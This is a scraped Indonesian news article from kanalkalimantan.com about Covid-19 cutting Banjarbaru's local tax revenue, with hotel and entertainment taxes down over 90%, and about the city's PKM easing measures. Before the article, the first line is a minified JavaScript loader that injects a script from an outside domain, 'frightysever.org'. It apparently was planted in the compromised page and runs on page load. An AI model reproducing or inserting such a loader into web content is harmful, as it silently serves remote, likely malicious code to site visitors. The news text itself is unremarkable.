(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

PAD dari Pajak Hotel dan Hiburan di Banjarbaru Turun Hingga 90%


KANALKALIMANTAN.COM, BANJARBARU – Pandemi Covid-19 sangat berdampak pada perekonomian dan keuangan di seluruh daerah, tidak terkecuali di kota Banjarbaru.

Wali Kota Banjarbaru, Nadjmi Adhani mengatakan bahwa keuangan Pemko yang berasal dari pemerintah pusat maupun dana Pendapatan Asli Daerah (PAD) mengalami penyusutan.

“Sangat besar dampaknya untuk perekonomian di kota Banjarbaru,” akunya, Selasa (9/6/2020).

Seperti yang diketahui, anggaran Pemko Banjarbaru yang diberikan pemerintah pusat di-refocusing untuk penanganan Covid-19. Sedangkan, untuk target PAD tidak dapat diserap maksimal, lantaran seluruh sektor pajak mengalami penurunan dari sisi penghasilan.

Data Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Kota Banjarbaru, ada 3 sektor pajak yang selama ini menyumbang PAD terbesar untuk kota Banjarbaru. Yakni pajak Bea Perolehan Hak atas Tanah dan Bangunan (BPHTB), pajak Restoran dan Perhotelan dan, pajak Penerangan Jalan Umum (PJU).

Kepala BP2RD Kota Banjarbaru Rustam Effendi mengatakan, pendapatan ketiga sektor pajak tersebut mengalami penurunan dratis lantaran pandemi. Otomatis, sudah dapat dipastikan pula sektor pajak lainnya juga mengalami penurunan.

“Semua sektor pajak mengalami penurunan. Otomatis PAD kita terima juga tidak maksimal. Kalau data pada akhir Mei tadi, setoran pajak hotel yang kita terima turun sampai 97%, hiburan 98%, resto 75%, dan reklame 70%,” katanya.

Tentu dengan menurunnya setoran pajak dari berbagai sektor, membuat target PAD di Banjarbaru pada tahun 2020 ini harus diubah. Saat ini, Pemko Banjarbaru menyisiati lemahnya sektor ekonomi dengan mulai menggerakan roda aktivitas masyarakat, meskipun dalam kondisi pandemi Covid-19.

Caranya, dengan pemberlakukan Pembatasan Kegiatan Masyarakat (PKM) yang umumnya diadopsi dari Pembatasan Sosial Berskala Besar (PSBB). Dalam pemberlakuan PKM ini, aktivitas masyarakat mulai dilonggarkan.

“Kalau PSBB, aktivitas dan usaha masyarakat sama sekali kita tidak bolehkan. Tapi, kalau PKM ini sudah dibolehkan, tapi tetap saja kita batasi dan harus menerapkan protokol kesehatan,” kata Wali Kota Banjarbaru.

Adapun tujuan utama PKM selain mendisplinkan perilaku masyakat, kata Nadjmi, juga sangat berengaruh terhadap para pelaku usaha. Hal inilah yang nantinya juga berdampak pada roda ekonomi di kota Banjarbaru.

“Melalui PKM diharapkan sektor ekonomi kita mulai kembali merangkak. Pajak restoran dan pajak warung makan juga bisa kita serap kembali, meskipun bertahap,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.